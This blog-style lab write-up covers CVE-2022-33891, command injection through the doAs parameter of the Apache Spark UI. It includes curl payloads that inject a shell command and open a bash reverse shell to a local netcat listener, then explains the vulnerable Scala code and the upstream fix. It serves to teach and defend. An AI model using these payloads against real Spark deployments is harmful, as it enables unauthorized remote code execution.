← writing

CVE-2022-33891: Apache Spark UI Vulnerability

Background

Apache Spark is an open-source distributed analytics engine that has been adopted globally. Rather than reexplaining what Spark is or diving into its internal architecture for the 100th time on the internet (and probably explain it worse), I’ll leave a few resources below that do a great job explaining its architecture and how its various components interact.

There is one component that is in the spotlight for this post: The Apache Spark UI. Spark ships with a prebuilt web UI designed to help operators monitor and manage their workloads. It provides visibility into running applications, jobs, stages, executors, and other useful metrics.

In July 2022, there was a vulnerability in the UI (CVE-2022-33891, CVSS 8.8, reported by Kostya Kortchinsky of Databricks) that allowed anyone with access to the UI to execute arbitrary shell commands as the user running Spark, and from there establish a reverse shell. It was exploited in real world and added to CISA’s Known Exploited Vulnerabilities catalog.

Setting up Lab

There are many different cluster managers that can run Spark: Standalone, YARN, Kubernetes, etc. In this lab, we will specifically look at the Standalone cluster manager where the UI is prebuilt and served on port 8080. We can download the Spark version before CVE-2022-33891 was actually fixed. CVE-2022-33891 affects Spark <= 3.0.3, 3.1.1–3.1.2, and 3.2.0–3.2.1, and was patched in 3.1.3, 3.2.2, and 3.3.0.

# https://archive.apache.org/dist/spark/spark-3.0.3/
wget https://archive.apache.org/dist/spark/spark-3.0.3/spark-3.0.3-bin-hadoop3.2.tgz
tar -xzf spark-3.0.3-bin-hadoop3.2.tgz
cd spark-3.0.3-bin-hadoop3.2

Note we will also take a look at the source artifact ‘spark-3.0.3.tgz’ later on to go through the code that caused the vulnerability.

Once we have the downloaded and unpacked ‘spark-3.0.3-bin-hadoop3.2.tgz’, we will first add our unix user to the acl group. The vulnerable code path is only reachable when ACLs are enabled, so we need to turn them on. Copy the template and edit it:

cd conf
cp spark-defaults.conf.template spark-defaults.conf
vim spark-defaults.conf

Add these two lines, putting your own Unix username in the view ACL so we can later contrast an authorized user against an unauthorized one:

spark.acls.enable      true
spark.ui.view.acls     <your-unix-username>

spark.acls.enable true is the switch that makes the UI perform a permission check on each request; spark.ui.view.acls is the allow-list of users permitted to view the application.

To start the master:

./sbin/start-master.sh

Confirm port 8080 shows you the Spark UI.

How it Works

First explore the Spark UI. If you make a request to localhost:8080?doAs=<userHere>, you should be able to see the Spark UI. This view is what an operator might want to look at: Workers, Running Applications, and Completed Applications.

Now if you try to access the UI with a user NOT listed in the acl’s localhost:8080?doAs=fakeUser, you will get a 403 and hit a “not authorized page”. So Spark is directly using this doAs parameter to check whether the user is listed under the ACL permissions. This right here is the vulnerability as the username gets used directly to build a Unix shell command, and we can control the username to be whatever we want.

# ?doAs=;touch Anand.txt   ->  url-encoded:
curl -G 'http://localhost:8080/' --data-urlencode 'doAs=;touch Anand.txt'

When you check your Spark directory, you will see a new file Anand.txt that did NOT exist before. The server ran bash -c "id -Gn ;touch Anand.txt": id -Gn runs, the ; terminates it, and touch Anand.txt runs.

Reverse Shell

This vulnerability allows malicious actors to create a reverse shell. Create a netcat listener in an extra terminal of yours:

nc -lvn 9090

We will use the classic bash reverse shell and make sure to pass it in as a paramter to our doAs parameter that gets directly built into the unix shell command.

curl -G 'http://localhost:8080/' \
  --data-urlencode 'doAs=`bash -i >& /dev/tcp/127.0.0.1/9090 0>&1`'

The reverse shell should connect back, and your nc listener gets a shell running as the Spark user!

Where Vulnerability Lived in Codebase

Let’s now use the source artifact that I mentioned earlier: ‘spark-3.0.3.tgz’.

core/src/main/scala/org/apache/spark/security/ShellBasedGroupsMappingProvider.scala

The interesting thing about this vulnerability is that the shell command that is vulnerable to the injection only gets run when the user isn’t found directly in the ACL. In this case, Spark will try to resolve the user’s groups to check group-based ACLs, and resolving groups shells out. This is why when you ran the injection request to create a file you still got the 403 error (the reverse shell request will just hang since the shell stays open and the response never comes back). The injection happened in the authorization check itself, so even though the 403 is returned, the command injection still succeeds.

private[spark] class ShellBasedGroupsMappingProvider extends GroupMappingServiceProvider
  with Logging {

  override def getGroups(username: String): Set[String] = {
    val userGroups = getUnixGroups(username)
    logDebug("User: " + username + " Groups: " + userGroups.mkString(","))
    userGroups
  }

  // shells out a "bash -c id -Gn username" to get user groups
  private def getUnixGroups(username: String): Set[String] = {
    val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
    // we need to get rid of the trailing "\n" from the result of command execution
    Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
  }
}

In the file snippet, we see how getUnixGroups directly just appends username to the bash -c command. This means ANY shell metacharacter in username (example: ;, backticks, |, &) is interpreted rather than treated as data.

Fix!

The fix (SPARK-38992, commit c83618e4, by Hyukjin Kwon) is very small:

+  private lazy val idPath = Utils.executeAndGetOutput("which" :: "id" :: Nil).stripLineEnd
+
   override def getGroups(username: String): Set[String] = {
     val userGroups = getUnixGroups(username)
     ...
   }

   private def getUnixGroups(username: String): Set[String] = {
-    val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
-    Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
+    Utils.executeAndGetOutput(idPath :: "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
   }

The fix gets rid of the bash -c and replaces it with Utils.executeAndGetOutput which uses Java’s Process Builder which passes the arguments as one argument vector:

["/usr/bin/id", "-Gn", username]

This means characters like ; are now treated just as data and doAs=;touch Anand.txt just looks like a weird username.

Comparison/Impact

This CVE was rated a CVSS of 8.8, but this vulnerability is only exposed in a smaller subset of situations.

  1. UI needs to be reachable: In the lab we set up on localhost, but operators would have to expose their Spark UIs to monitor jobs to end up on a routable interface.
  2. ACLs have to be turned on: The vulnerable path only runs during group resolution, which only happens when ACLs are enabled (spark.acls.enable is false by default).
  3. One of the vulnerable Spark versions: Spark <= 3.0.3, 3.1.1–3.1.2, or 3.2.0–3.2.1

These 3 requirements make the vulnerability much less likely to appear in the real world. Shellshock (CVSS 9.8), however, was a vulnerability in bash itself, and affected nearly every Linux and Unix machine on the internet. Both Shellshock and the Spark UI bug let untrusted data reach the shell interpreter. However, Shellshock’s attack surface was most of the internet.

The Spark UI bug is a completely different case because it requires a very specific and unique stack and scenario. Despite this though, when it does line up the impact is extremely severe: an unauthenticated request gives you code execution as the Spark user. So, I think the CVSS score of 8.8 is fair.